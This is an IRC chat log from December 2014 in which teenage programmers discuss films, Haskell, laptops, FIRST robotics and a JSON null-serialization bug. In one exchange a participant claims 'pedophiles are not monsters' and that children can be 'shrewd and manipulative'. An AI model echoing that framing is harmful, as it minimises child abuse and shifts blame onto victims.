[2014-12-25T23:03:46-0500] <+Tamini> your eyes run at 0.5 fps
[2014-12-25T23:03:54-0500] <+JacobEdelman> my eyes run at way less than that
[2014-12-25T23:07:47-0500] <@awe> bob_twinkles: you also got the awe seal of approval.
[2014-12-25T23:08:12-0500] <bob_twinkles> awe: how'd I manage that?
[2014-12-25T23:08:13-0500] <@awe> JacobEdelman: I don't watch nerdy movies.
[2014-12-25T23:08:19-0500] <@awe> bob_twinkles: You're into type systems.
[2014-12-25T23:08:20-0500] <+Tamini> hey JacobEdelman
[2014-12-25T23:08:24-0500] <+Tamini> be jealous
[2014-12-25T23:08:32-0500] <+Tamini> I brought in the two people who got the awe seal of approval
[2014-12-25T23:08:37-0500] <bob_twinkles> awe: oh, cool
[2014-12-25T23:09:28-0500] <bob_twinkles> I'm taking another whack at a haskell IRC client 'cause what else would you do on winter break
[2014-12-25T23:09:35-0500] <@awe> Sounds good to me.
[2014-12-25T23:09:42-0500] <@awe> Let me know if you need protoocl help.
[2014-12-25T23:09:47-0500] <bob_twinkles> I think I'm gonna skip ncurses this time =P
[2014-12-25T23:10:04-0500] <bob_twinkles> did you see http://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
[2014-12-25T23:10:25-0500] <bob_twinkles> that's what I've based my IRC Command type on =P
[2014-12-25T23:10:30-0500] <@awe> The RFC has a better list.
[2014-12-25T23:10:33-0500] <bob_twinkles> dunno how that'll work out
[2014-12-25T23:10:41-0500] <bob_twinkles> all in a row somewhere?
[2014-12-25T23:10:52-0500] <@awe> Yes.
[2014-12-25T23:10:57-0500] <@awe> well, with descriptions.
[2014-12-25T23:11:04-0500] <@awe> Just like on the Wiki page actually.
[2014-12-25T23:11:16-0500] <@awe> The wiki page has better argument synatx.
[2014-12-25T23:11:17-0500] <@awe> syntax*
[2014-12-25T23:11:49-0500] <bob_twinkles> the nice thing about the wiki page is that the table of contents is basically the type declaration I need after a bit of vim magic =P
[2014-12-25T23:12:02-0500] <bob_twinkles> well, I've had to go through and fill in the arguments manually
[2014-12-25T23:12:05-0500] <bob_twinkles> but that's not too bad
[2014-12-25T23:13:22-0500] <bob_twinkles> of course my cousin showed up halfway through that and I haven't finished yet
[2014-12-25T23:13:23-0500] <bob_twinkles> oh well
[2014-12-25T23:18:24-0500] <+JacobEdelman> Tamini: I'm the only person to get the awe seal of dissaproval
[2014-12-25T23:18:28-0500] <+JacobEdelman> all to myself :P
[2014-12-25T23:19:12-0500] <+JacobEdelman> who made this response to the google doc: "Wargames Hackers Back to the Future Princess Bride Spaceballs H2G2 Tron Monty Python films standard nerd sect movies (LoTR, Star \w{4}, etc.)"
[2014-12-25T23:19:47-0500] <+JacobEdelman> cause thats nearly a listing of my favorite movies
[2014-12-25T23:19:56-0500] <alokpathy> Was it you? LOL
[2014-12-25T23:20:06-0500] <alokpathy> Do you not remember submitting? :P
[2014-12-25T23:20:11-0500] <+JacobEdelman> nope
[2014-12-25T23:20:12-0500] <+JacobEdelman> not me
[2014-12-25T23:20:13-0500] <+LittleBobbyTables> Bam
[2014-12-25T23:20:15-0500] <+LittleBobbyTables> Submitted mine
[2014-12-25T23:20:59-0500] <+JacobEdelman> ahhh... I do gotta watch Pulp Fiction
[2014-12-25T23:21:11-0500] <+LittleBobbyTables> You haven't seen it yet
[2014-12-25T23:21:16-0500] <+JacobEdelman> no
[2014-12-25T23:21:17-0500] <+JacobEdelman> sorry
[2014-12-25T23:21:21-0500] <+JacobEdelman> its high on my list
[2014-12-25T23:21:27-0500] <+JacobEdelman> awe: did you submit yours?
[2014-12-25T23:21:38-0500] <@awe> [23:08:13]  <@awe>	JacobEdelman: I don't watch nerdy movies.
[2014-12-25T23:21:49-0500] <+JacobEdelman> then just submit a list of good movies
[2014-12-25T23:23:40-0500] <+LittleBobbyTables> I submitted Pitch Perfect
[2014-12-25T23:23:43-0500] <+LittleBobbyTables> So not anerdy movie.
[2014-12-25T23:23:58-0500] <+JacobEdelman> awe: one movie... I expected you to be more opinionanted than that
[2014-12-25T23:24:17-0500] <+JacobEdelman> LittleBobbyTables: I saw... the sequal did not look good, I saw the commercial in theaters today
[2014-12-25T23:24:54-0500] <+LittleBobbyTables> I'm watching it anyway
[2014-12-25T23:25:01-0500] <+JacobEdelman> ... okay
[2014-12-25T23:26:48-0500] <ubuntor> JacobEdelman: oh hey, that was mine
[2014-12-25T23:28:47-0500] <hardmath123> or possibly mine
[2014-12-25T23:28:56-0500] <hardmath123> awe: ghc is still brewing. should I panic?
[2014-12-25T23:32:29-0500] <+JacobEdelman> hardmath123:  http://goo.gl/forms/E5Om7xI5s2
[2014-12-25T23:34:04-0500] <@awe> JacobEdelman: submitted
[2014-12-25T23:34:07-0500] <@awe> hardmath123: probalby.
[2014-12-25T23:34:10-0500] <+JacobEdelman> 66% of the way towards downloading wikipedia
[2014-12-25T23:34:29-0500] <+JacobEdelman> thats more like it awe
[2014-12-25T23:34:39-0500] <+Tamini> oh my god JacobEdelman 
[2014-12-25T23:34:45-0500] <+Tamini> ugh lbt why are you a thing
[2014-12-25T23:34:50-0500] <+Tamini> now i cant say "oh my god jacob" 
[2014-12-25T23:35:21-0500] <+JacobEdelman> eh, its clear I'm jacob
[2014-12-25T23:35:38-0500] <+JacobEdelman> I'll fight LittleBobbyTables if he wants to claim the title of "Jacob"
[2014-12-25T23:35:58-0500] <+JacobEdelman> awe: thats more like it
[2014-12-25T23:36:31-0500] <@awe> You probably wouldn't appreciate my taste in film, as it's likely significantly more refined and significantly more sexual than you're used to.
[2014-12-25T23:37:53-0500] <+JacobEdelman> ...
[2014-12-25T23:37:54-0500] <+Tamini> you think I wouldn't appreciate it?
[2014-12-25T23:37:56-0500] <+JacobEdelman> probaly
[2014-12-25T23:37:59-0500] <+JacobEdelman> gnight
[2014-12-25T23:38:09-0500] <@awe> JacobEdelman: probably wouldn't.
[2014-12-25T23:38:20-0500] <+Tamini> awe: but those are for me and alok!
[2014-12-25T23:38:22-0500] <@awe> I don't think he's comfortable enough with sex to watch a good lot of the movies I recommended.
[2014-12-25T23:38:23-0500] <@awe> Oh, okay.
[2014-12-25T23:38:36-0500] <hardmath123> JacobEdelman: the apostrophe in "movie's" bothers me.
[2014-12-25T23:38:40-0500] <+Tamini> what kind of movies did you recommend?
[2014-12-25T23:38:58-0500] <@awe> Almost entirely dramas.
[2014-12-25T23:39:03-0500] <+JacobEdelman> awe recommended: Eyes Wide Shut, Blue Is The Warmest Color, Boyhood, Pulp Fiction, Django Unchained, Lolita (the Adrian Lyne version), There Will Be Blood, The Graduate, Fargo, Mud, Trainspotting, Reservoir Dogs, Clerks
[2014-12-25T23:39:10-0500] <@awe> Yeah.
[2014-12-25T23:39:14-0500] <+JacobEdelman> boyhood is on my list of films to watch
[2014-12-25T23:39:15-0500] <@awe> Clerks is a comedy though.
[2014-12-25T23:39:17-0500] <@awe> And is funny as hell.
[2014-12-25T23:39:23-0500] <+JacobEdelman> 5th element is funny
[2014-12-25T23:39:35-0500] <alokpathy> awe: I heard good things about 22 Jump St
[2014-12-25T23:39:38-0500] <alokpathy> Recommend?
[2014-12-25T23:39:46-0500] <+JacobEdelman> only one movie has been submitted twice
[2014-12-25T23:39:58-0500] <@awe> alokpathy: I saw the first one. I haven't seen the second.
[2014-12-25T23:40:09-0500] <@awe> alokpathy: The first one was humorous, but not a world class film by any means.
[2014-12-25T23:40:09-0500] <alokpathy> Oh, I haven't seen the first one either.
[2014-12-25T23:40:15-0500] <alokpathy> Well, part of it.
[2014-12-25T23:40:16-0500] <alokpathy> Oh okay.
[2014-12-25T23:40:21-0500] <@awe> alokpathy: I enjoyed watching it, but it's not a masterful art piece.
[2014-12-25T23:40:37-0500] <+Tamini> whoa, there's a movie version of lolita?
[2014-12-25T23:40:38-0500] <+Tamini> and heh
[2014-12-25T23:40:46-0500] <+Tamini> 22 jump street is interesting
[2014-12-25T23:41:19-0500] <+JacobEdelman> awe: watch primer
[2014-12-25T23:41:23-0500] <+JacobEdelman> if you havn't already
[2014-12-25T23:41:24-0500] <+JacobEdelman> its good
[2014-12-25T23:41:32-0500] <+JacobEdelman> and indy so its all hipster to watch it :P
[2014-12-25T23:41:33-0500] <@awe> Tamini: there's two.
[2014-12-25T23:41:41-0500] <@awe> Tamini: the Stanley Kubrick one and the Adrian Lyne version.
[2014-12-25T23:42:01-0500] <@awe> Tamini: Both are excellent, and Kubrick is the better director, but the Kubrick one was made in the 60s and the studio was very not okay with everything.
[2014-12-25T23:42:13-0500] <@awe> Tamini: So, it ended up being heavily censored and changed a lot from Kubrick's vision.
[2014-12-25T23:42:17-0500] <@awe> Tamini: The Lyne one is fantastic.
[2014-12-25T23:44:32-0500] <+Tamini> ooh
[2014-12-25T23:44:43-0500] <+Tamini> Yeah, heavily censored and that book don't go well together
[2014-12-25T23:44:47-0500] <@awe> Right.
[2014-12-25T23:44:50-0500] <@awe> That was the issue.
[2014-12-25T23:44:52-0500] <+Tamini> I don't know how it would turn out as a movie, though
[2014-12-25T23:44:59-0500] <+Tamini> the main appeal of the book was that it was beautifully written.
[2014-12-25T23:45:01-0500] <@awe> I really like the Adrian Lyne one.
[2014-12-25T23:45:05-0500] <@awe> Uhh...
[2014-12-25T23:45:12-0500] <+Tamini> I liked the writing style.
[2014-12-25T23:45:16-0500] <@awe> Well, I think there's an important understanding to grasp from it, too.
[2014-12-25T23:45:22-0500] <@awe> i.e. that pedophiles are not monsters.
[2014-12-25T23:45:23-0500] <+Tamini> oh, well yeah obviously
[2014-12-25T23:45:32-0500] <+Tamini> I was thinking more in a literary sense.
[2014-12-25T23:45:36-0500] <@awe> And that children are capable of being shrewd and manipulative.
[2014-12-25T23:45:42-0500] <+Tamini> Well, we knew that.
[2014-12-25T23:45:44-0500] <@awe> Meaning is part of literary merit.
[2014-12-25T23:45:49-0500] <@awe> A lot of people don't know that.
[2014-12-25T23:45:59-0500] <@awe> A teacher of mine read the book and completely missed the point.
[2014-12-25T23:46:03-0500] <@awe> A literature teacher, might I add.
[2014-12-25T23:46:08-0500] <+Tamini> heh
[2014-12-25T23:46:17-0500] <+Tamini> wait, were you the one I talked to about manipulating people because it was so easy
[2014-12-25T23:46:42-0500] <@awe> Maybe?
[2014-12-25T23:46:53-0500] <alokpathy> nezorg: Did you finish?
[2014-12-25T23:47:05-0500] <+Tamini> hmm
[2014-12-25T23:47:14-0500] <nezorg> alokpathy: almost
[2014-12-25T23:47:25-0500] <+Tamini> which part?
[2014-12-25T23:48:39-0500] <alokpathy> JacobEdelman: Did you tell Brumley I'm applying yet LOL
[2014-12-25T23:48:52-0500] <alokpathy> I want every chance I can get.
[2014-12-25T23:50:47-0500] <+Tamini> lol
[2014-12-26T00:01:07-0500] <nezorg> alright, finished now
[2014-12-26T00:01:14-0500] <nezorg> that was exceedingly dumb movie
[2014-12-26T00:01:27-0500] <nezorg> but still pretty funny :P
[2014-12-26T00:01:45-0500] <nezorg> not quite on the scale of top secret or naked gun though :(
[2014-12-26T00:02:17-0500] <nezorg> (or spaceballs :3)
[2014-12-26T00:03:47-0500] <+Tamini> lol
[2014-12-26T00:03:52-0500] <+Tamini> it's entertaining, though
[2014-12-26T00:04:11-0500] <nezorg> have you seen spaceballs?
[2014-12-26T00:04:24-0500] <nezorg> well, I guess you should see star wars first
[2014-12-26T00:05:24-0500] <alokpathy> nezorg: woo
[2014-12-26T00:05:52-0500] <+Tamini> lol
[2014-12-26T00:05:56-0500] <+Tamini> give me a list and an order
[2014-12-26T00:06:00-0500] <+Tamini> i'll get through it eventually
[2014-12-26T00:23:07-0500] <alokpathy> 5 days left in 2014
[2014-12-26T00:23:31-0500] <+Tamini> yeahh
[2014-12-26T00:24:03-0500] <+LittleBobbyTables> 6 yo
[2014-12-26T00:27:59-0500] <alokpathy> Well, counting today
[2014-12-26T00:28:03-0500] <alokpathy> which I guess we should count, yeah.
[2014-12-26T01:11:04-0500] <alokpathy> G'night.
[2014-12-26T01:14:05-0500] <ubuntor> night
[2014-12-26T01:31:34-0500] <hardmath123> oh good grief it's still brewing...
[2014-12-26T01:31:41-0500] <@awe> Lol.
[2014-12-26T01:42:19-0500] <hardmath123> YEsssss it's done :D :D :D
[2014-12-26T01:42:30-0500] <hardmath123> Tomorrow I can learn me a Haskell.
[2014-12-26T01:43:45-0500] <hardmath123> I was about to say "I'm so excited, like a little kid on Christmas." Then I realized that technically I *was* a little kid on Christmas.
[2014-12-26T02:08:45-0500] <@awe> Indeed.
[2014-12-26T02:19:59-0500] <nezorg> hardmath123: are you learning yourself a haskell for great good?
[2014-12-26T03:17:52-0500] alokpathy (uid15876@pdgn-5ih.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
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[2014-12-26T08:44:53-0500] <Hyper> I was so excited to see I was pinged, but it turned out it was just a listing of users online
[2014-12-26T08:44:55-0500] <Hyper> q.q
[2014-12-26T09:50:05-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) joined the channel
[2014-12-26T09:50:05-0500] Pidgey sets mode +v JacobEdelman
[2014-12-26T09:50:19-0500] <+JacobEdelman> I have rearrived
[2014-12-26T09:58:30-0500] <+JacobEdelman> awe: simple haskell question
[2014-12-26T09:58:36-0500] <+JacobEdelman> awe: how do I get ls
[2014-12-26T09:58:46-0500] <+JacobEdelman> awe: (all files in the current directory)
[2014-12-26T09:58:52-0500] <+JacobEdelman> awe: string format is fine
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[2014-12-26T10:09:57-0500] <alokpathy> G'morning
[2014-12-26T10:22:54-0500] <+JacobEdelman> gmorning
[2014-12-26T10:24:26-0500] <alokpathy> awe: http://socawlege.com/21-signs-go-umass-amherst/
[2014-12-26T10:34:11-0500] <alokpathy> Tamini: 750K people have torrented The Interview. 
[2014-12-26T10:34:14-0500] <alokpathy> Tamini: We're one of them :')
[2014-12-26T10:58:41-0500] <+JacobEdelman> *two, not one
[2014-12-26T10:58:58-0500] <+JacobEdelman> (unless you're the same person, in which case I'm very confused)
[2014-12-26T10:59:14-0500] <alokpathy> We're all the same person.
[2014-12-26T11:00:08-0500] <+JacobEdelman> ...
[2014-12-26T11:00:49-0500] <alokpathy> I know this might be a bit sudden for you, but you had to learn sometime.
[2014-12-26T11:02:13-0500] <+JacobEdelman> still confused
[2014-12-26T11:16:39-0500] <@awe> JacobEdelman: getDirectoryContents
[2014-12-26T11:18:22-0500] <alokpathy> We need to play resistance sometime.
[2014-12-26T11:28:26-0500] <@awe> [08:44:53]  <Hyper>	I was so excited to see I was pinged, but it turned out it was just a listing of users online
[2014-12-26T11:28:27-0500] <@awe> Hyper: :(
[2014-12-26T11:28:45-0500] <alokpathy> :/
[2014-12-26T11:36:30-0500] <+Tamini> i second that motion
[2014-12-26T11:36:32-0500] <+Tamini> and :(
[2014-12-26T11:53:17-0500] <@awe> !resistance
[2014-12-26T11:53:19-0500] <@awe> !drop
[2014-12-26T11:53:19-0500] <&Pidgey> The game of Resistance has been dropped.
[2014-12-26T11:53:20-0500] <@awe> !resistance
[2014-12-26T11:53:20-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-12-26T11:53:21-0500] <@awe> !join
[2014-12-26T11:53:21-0500] <&Pidgey> You've already joined this game!
[2014-12-26T11:53:29-0500] <@awe> Tamini, alokpathy, JacobEdelman
[2014-12-26T11:54:09-0500] <alokpathy> !join 
[2014-12-26T11:54:40-0500] <+JacobEdelman> fne
[2014-12-26T11:54:42-0500] <+JacobEdelman> *fine
[2014-12-26T11:54:44-0500] <+JacobEdelman> !join
[2014-12-26T11:55:01-0500] <+JacobEdelman> I'm in the process of switching computers cause mine is going to be sent in for repairs
[2014-12-26T11:55:22-0500] <alokpathy> JacobEdelman: What's wrong with it?
[2014-12-26T11:55:31-0500] <+JacobEdelman> several small things
[2014-12-26T11:55:35-0500] <+JacobEdelman> that have been building up
[2014-12-26T11:55:44-0500] <+JacobEdelman> and the outside plastic case has been degrading
[2014-12-26T11:55:51-0500] <+JacobEdelman> which has lead to more, larger, problems
[2014-12-26T11:56:05-0500] <alokpathy> Is that because of the build quality?
[2014-12-26T11:56:09-0500] <alokpathy> Or did you just like
[2014-12-26T11:56:14-0500] <alokpathy> throw it around
[2014-12-26T11:56:42-0500] <+JacobEdelman> ...
[2014-12-26T11:56:44-0500] <+JacobEdelman> no comment
[2014-12-26T11:56:49-0500] <alokpathy> :|
[2014-12-26T11:56:57-0500] <+JacobEdelman> its my fault probaly
[2014-12-26T11:57:06-0500] <+JacobEdelman> but they are known for great customer service
[2014-12-26T11:57:06-0500] <alokpathy> Okay
[2014-12-26T11:57:08-0500] <+JacobEdelman> :)
[2014-12-26T11:57:14-0500] <+JacobEdelman> one sec
[2014-12-26T11:57:20-0500] <alokpathy> 'cause I was thinking of getting a System 76 for college
[2014-12-26T11:57:29-0500] <alokpathy> so if the build quality was bad I would have to look into more.
[2014-12-26T11:57:52-0500] <alokpathy> That's good.
[2014-12-26T12:01:05-0500] <+JacobEdelman> so, ezra got a nearly identical computer at the same time I did
[2014-12-26T12:01:13-0500] <+JacobEdelman> it is true that his is fairing better than mine
[2014-12-26T12:01:23-0500] <+JacobEdelman> but it still has probles
[2014-12-26T12:01:27-0500] <alokpathy> Like what?
[2014-12-26T12:01:33-0500] <+JacobEdelman> a weird rattling sound of plastic in the fan
[2014-12-26T12:01:38-0500] <alokpathy> H
[2014-12-26T12:01:40-0500] <alokpathy> Hm
[2014-12-26T12:01:41-0500] <+JacobEdelman> overheating that forces shutdown
[2014-12-26T12:01:51-0500] <alokpathy> Uh oh
[2014-12-26T12:02:02-0500] <+JacobEdelman> I have a nn working mic, video camera, oly one workng speaker, and the plastic case is coming off
[2014-12-26T12:02:07-0500] <+JacobEdelman> but I can get that all fixed
[2014-12-26T12:02:22-0500] <alokpathy> Lol  I'd rather not have to go get things fixed in college.
[2014-12-26T12:02:37-0500] <alokpathy> That often.
[2014-12-26T12:02:38-0500] <+JacobEdelman> well, you do treat your computer nicer than I do
[2014-12-26T12:02:50-0500] <+JacobEdelman> so you shouldn't have the kind of problems I have had
[2014-12-26T12:02:53-0500] <alokpathy> ... my laptop's in pretty bad shape :P
[2014-12-26T12:03:01-0500] <+JacobEdelman> true
[2014-12-26T12:03:08-0500] <+JacobEdelman> any laptop gets in bad shape over time
[2014-12-26T12:03:23-0500] <alokpathy> Maybe I'll be more careful in college, lol.
[2014-12-26T12:03:25-0500] <alokpathy> We'll see.
[2014-12-26T12:03:33-0500] <+JacobEdelman> also, big bonus with mine, when ezra got his he had 2x my battery life, now I have more than him
[2014-12-26T12:03:38-0500] <@awe> alokpathy: MacBook Pro :D
[2014-12-26T12:03:43-0500] <+JacobEdelman> no!
[2014-12-26T12:03:49-0500] <@awe> JacobEdelman: 9 hour battery life.
[2014-12-26T12:03:50-0500] <+JacobEdelman> system 76!
[2014-12-26T12:03:58-0500] <+JacobEdelman> battery life is for wimps!
[2014-12-26T12:04:00-0500] <Hyper> I got my macbook pro for free :)
[2014-12-26T12:04:05-0500] <Hyper> <3
[2014-12-26T12:04:10-0500] <@awe> Hyper: how'd that happen?
[2014-12-26T12:04:19-0500] <+JacobEdelman> (you never need more than 3 hours, since outlets are always plentiful)
[2014-12-26T12:04:35-0500] <Hyper> A long history of depot-repairs over 3 years on my previous one
[2014-12-26T12:04:38-0500] <@awe> That's not true at all.
[2014-12-26T12:04:47-0500] <@awe> Hyper: ah, yeah.
[2014-12-26T12:05:08-0500] <Hyper> just after the warranty expired it broke again, I brought it in and the guy at the store was like "lemme see what I can do"
[2014-12-26T12:05:16-0500] <Hyper> and gave me a new one of the latest model
[2014-12-26T12:05:33-0500] <Hyper> like literally handed me the box and was like "okay, you're all good"
[2014-12-26T12:05:49-0500] <@awe> Hyper: it's cheaper for them.
[2014-12-26T12:06:02-0500] <@awe> Hyper: those guys get paid like $25/hour to stare at your computer.
[2014-12-26T12:06:08-0500] <+JacobEdelman> wait, no warranty, its not cheaper
[2014-12-26T12:06:14-0500] <+JacobEdelman> they could just hand back the broken one
[2014-12-26T12:06:15-0500] <Hyper> ^^
[2014-12-26T12:06:18-0500] <+JacobEdelman> and say "too bad"
[2014-12-26T12:06:26-0500] <+JacobEdelman> ... you just had a really nice, guy
[2014-12-26T12:06:31-0500] <@awe> Yeah, and if they did that, you'd never buy a Macbook again.
[2014-12-26T12:06:31-0500] <Hyper> yeah
[2014-12-26T12:06:34-0500] <@awe> >.>
[2014-12-26T12:06:40-0500] <+JacobEdelman> really?
[2014-12-26T12:06:49-0500] <@awe> Yeah, customer service sells.
[2014-12-26T12:06:49-0500] <Hyper> I was prepared to buy a lenovo if they hadn't replaced it
[2014-12-26T12:06:50-0500] <+JacobEdelman> Hyper: what did you expect to happen?
[2014-12-26T12:06:53-0500] <+JacobEdelman> oh
[2014-12-26T12:06:55-0500] <+JacobEdelman> okay
[2014-12-26T12:07:01-0500] <Hyper> JacobEdelman: I expected them to say "lolno gtfo"
[2014-12-26T12:07:06-0500] <+JacobEdelman> wait
[2014-12-26T12:07:09-0500] <+JacobEdelman> your next computer
[2014-12-26T12:07:12-0500] <+JacobEdelman> whats it gonna be?
[2014-12-26T12:07:13-0500] <@awe> Hyper: I don't know why you'd expect that. Apple customer service is greta.
[2014-12-26T12:07:16-0500] <@awe> great*
[2014-12-26T12:07:19-0500] <+JacobEdelman> if you have to pay?
[2014-12-26T12:07:25-0500] <Hyper> awe: it's great while you're in warranty :)
[2014-12-26T12:07:36-0500] <@awe> They've been pretty nice to me outside of warranty before.
[2014-12-26T12:07:38-0500] <Hyper> off of warranty it's hit-or-miss
[2014-12-26T12:07:47-0500] <@awe> They replaced the casing on my MacBook for free.
[2014-12-26T12:07:51-0500] <@awe> Well, my old one.
[2014-12-26T12:08:12-0500] <Hyper> JacobEdelman: I was gonna get the Carbon X1 I think
[2014-12-26T12:08:16-0500] <Hyper> but like
[2014-12-26T12:08:20-0500] <alokpathy> awe: Yeah, I was thinking of a Mac too :P
[2014-12-26T12:08:26-0500] <Hyper> We'll see in 3 years when this laptop stops working
[2014-12-26T12:08:31-0500] <@awe> ^
[2014-12-26T12:08:41-0500] <@awe> The only computers I know of where you can say that is MacBooks.
[2014-12-26T12:08:53-0500] <Hyper> awe: to be fair, 3 year warranty
[2014-12-26T12:08:53-0500] <@awe> Every other laptop I know of is pretty much useless after a year.
[2014-12-26T12:09:02-0500] <Hyper> I'm gonna make sure I get at least those 3 years :)
[2014-12-26T12:09:06-0500] <@awe> My old MacBook Pro lasted four years.
[2014-12-26T12:09:28-0500] <Hyper> mine lasted just over 3, with copious repairs
[2014-12-26T12:09:38-0500] <@awe> I had mine repaired once.
[2014-12-26T12:09:45-0500] <Hyper> but there's a high incidence of me owning a piece of hardware and said hardware breaking
[2014-12-26T12:09:57-0500] <@awe> Wherein they replaced the display and then replaced the casing.
[2014-12-26T12:10:13-0500] <@awe> The only reason the latter needed to happen was because some asshole at robotics once dropped my laptop on the ground.
[2014-12-26T12:10:22-0500] <Hyper> yikes
[2014-12-26T12:10:30-0500] <@awe> They were awful.
[2014-12-26T12:10:41-0500] <alokpathy> :|
[2014-12-26T12:10:42-0500] <@awe> A mentor left a soldering iron running on my charger.
[2014-12-26T12:10:49-0500] <@awe> It burned through the insulation.
[2014-12-26T12:10:50-0500] <alokpathy> :| :|
[2014-12-26T12:10:53-0500] <Hyper> waaaaaaat
[2014-12-26T12:11:02-0500] <Hyper> awe: ALSO FIRST KICKOFF GET HYPE
[2014-12-26T12:11:05-0500] <@awe> When I complained and asked him to pay for it, he said "It still works. It gives it character."
[2014-12-26T12:11:13-0500] <@awe> I really don't like FIRST.
[2014-12-26T12:11:13-0500] <alokpathy> Um
[2014-12-26T12:11:18-0500] <+JacobEdelman> wait
[2014-12-26T12:11:19-0500] <Hyper> q.q
[2014-12-26T12:11:26-0500] <alokpathy> gg
[2014-12-26T12:11:28-0500] <+JacobEdelman> Hyper: your getting a non mac laptop
[2014-12-26T12:11:31-0500] <@awe> FIRST is designed in a way so as to make programmers appear useless.
[2014-12-26T12:11:38-0500] <+JacobEdelman> Hyper: if you have to buy one?
[2014-12-26T12:11:41-0500] <+JacobEdelman> *non-apple
[2014-12-26T12:11:43-0500] <@awe> JacobEdelman: he said he doesn't know.
[2014-12-26T12:11:55-0500] <Hyper> JacobEdelman: again, depends on what the laptop climate is like in 3 years
[2014-12-26T12:12:12-0500] <alokpathy> I actually can probably get a Mac for college.
[2014-12-26T12:12:34-0500] <Hyper> awe: I agree that FIRST kinda makes programers are a bit marginalized, but they've been working to change that
[2014-12-26T12:12:44-0500] <@awe> >a bit.
[2014-12-26T12:12:50-0500] <@awe> Hyper: there's four awards for having a killer robot.
[2014-12-26T12:12:55-0500] <@awe> Hyper: there's half an award for programming.
[2014-12-26T12:13:00-0500] <alokpathy> :|
[2014-12-26T12:13:12-0500] <Hyper> awe: To be fair, it is a *robotics* competition
[2014-12-26T12:13:16-0500] <Hyper> the robot is important
[2014-12-26T12:13:21-0500] <@awe> To be fair, the robot wouldn't do shit without software.
[2014-12-26T12:13:36-0500] <@awe> It'd be a paperweight.
[2014-12-26T12:14:22-0500] <Hyper> awe: I was the CV guy on my team, so I was working on actually interesting stuff :)
[2014-12-26T12:14:38-0500] <@awe> I was the everything guy on my team, and they treated me like shit.
[2014-12-26T12:15:12-0500] <Hyper> :(
[2014-12-26T12:16:01-0500] <@awe> Also, the way the FIRST season is designed is fundamentally incompatible with programming.
[2014-12-26T12:16:12-0500] <@awe> Well, with valuing programming, anyway.
[2014-12-26T12:16:25-0500] <Hyper> that is very true
[2014-12-26T12:17:26-0500] <Hyper> we get older robots working with something like our setup and have most of the programming to tuning work by the time we get the robot
[2014-12-26T12:18:12-0500] <@awe> But yeah, it wasn't a matter of the programming being interesting or not (though it wasn't interesting at all), it's a matter of the organization not caring at all about programming.
[2014-12-26T12:18:23-0500] <@awe> I was nominated for Dean's List my junior year.
[2014-12-26T12:18:39-0500] <@awe> I had mentored two other FRC teams.
[2014-12-26T12:18:52-0500] <@awe> I taught lego robotics classes weekly to 4th graders.
[2014-12-26T12:19:08-0500] <@awe> I was captain, and had been programming lead since my first year.
[2014-12-26T12:19:22-0500] <@awe> I lost.
[2014-12-26T12:19:35-0500] <@awe> The next year, a kid from my team won dean's list at championships.
[2014-12-26T12:19:46-0500] <Hyper> so?
[2014-12-26T12:19:47-0500] <@awe> He was build lead, and started an FTC team.
[2014-12-26T12:20:06-0500] <@awe> He did less within the mission statement of FIRST, and yet won national dean's list.
[2014-12-26T12:21:28-0500] <@awe> It may have been an FLL team, not an FTC team.
[2014-12-26T12:26:55-0500] <@awe> Maybe that's indicative of my team writing me a shittier nomination because they hated me, or maybe it's indicative of my team cheating because we were founded by Dean Kamen's niece, or maybe it's indicative of them simply not valuing programming. I don't know.
[2014-12-26T12:27:02-0500] <@awe> I do know that it left a bad taste in my mouth.
[2014-12-26T12:30:51-0500] <@awe> Hyper: plus, FIRST is super expensive and extremely inaccessible.
[2014-12-26T12:39:00-0500] <+JacobEdelman> I did FLL
[2014-12-26T12:39:13-0500] <+JacobEdelman> I had a bad expernce
[2014-12-26T12:39:14-0500] <+JacobEdelman> several
[2014-12-26T12:39:20-0500] <+JacobEdelman> our teams were horribl ds functinal
[2014-12-26T12:39:24-0500] <+JacobEdelman> yelling arguments and such
[2014-12-26T12:39:29-0500] <+JacobEdelman> both teams from our school
[2014-12-26T12:39:54-0500] <+JacobEdelman> on the other team from our school the leader walked out after having a screamng match with the teacher
[2014-12-26T12:40:02-0500] <+JacobEdelman> we won 1st and 2nd place team work awards
[2014-12-26T12:40:04-0500] <+JacobEdelman> ...
[2014-12-26T12:41:48-0500] <alokpathy> I don't remember FLL, lol.
[2014-12-26T12:42:03-0500] <alokpathy> Well, I do remember never being able to do programming despite asking for it several times.
[2014-12-26T12:55:25-0500] <@awe> JacobEdelman: this is deeply frustrating.
[2014-12-26T12:55:32-0500] <@awe> JacobEdelman: I serialize markov chains to json.
[2014-12-26T12:55:46-0500] <@awe> JacobEdelman: I wanted to update it so that you don't need to provide starting and ending terminals.
[2014-12-26T12:55:54-0500] <@awe> JacobEdelman: So, I used Option, and made None both terminals.
[2014-12-26T12:56:02-0500] <@awe> JacobEdelman: everything works, except when it gets serialized to json
[2014-12-26T12:56:11-0500] <@awe> {"map":{"dogs":{"null":1},"like":{"dogs":1,"cats":1},"null":{"I":1},"cats":{"and":1},"I":{"like":2},"and":{"I":1}}}
[2014-12-26T12:56:27-0500] <@awe> I can't distinguish between None (rendered "null") and the phrase "null".
[2014-12-26T13:00:13-0500] <hardmath123> why don't you just use the empty object for null?
[2014-12-26T13:00:54-0500] <@awe> I didn't write the serializer.
[2014-12-26T13:01:07-0500] <@awe> I can write one, I guess.
[2014-12-26T13:01:08-0500] <Hyper> awe: You should submit a bug to the serializer
[2014-12-26T13:01:21-0500] <Hyper> because serializing null to a string is php-level shittiness
[2014-12-26T13:01:46-0500] <Hyper> awe: http://stackoverflow.com/questions/4456438/how-can-i-pass-the-string-null-through-wsdl-soap-from-actionscript-3-to-a-co
[2014-12-26T13:02:03-0500] <Hyper> you've got the inverse of that
[2014-12-26T13:02:04-0500] <Hyper> :)
[2014-12-26T13:02:15-0500] <@awe> So, what should it serialize to?
[2014-12-26T13:02:16-0500] <@awe> []?
[2014-12-26T13:02:18-0500] <@awe> {}?
[2014-12-26T13:02:20-0500] <@awe> ()?
[2014-12-26T13:02:40-0500] <Hyper> does json not have an "empty" value?
[2014-12-26T13:02:46-0500] <@awe> I have no idea.
[2014-12-26T13:02:47-0500] <hardmath123> no, it doesn't
[2014-12-26T13:03:02-0500] <hardmath123> wait
[2014-12-26T13:03:03-0500] <hardmath123> it does
[2014-12-26T13:03:07-0500] <@awe> What is it?
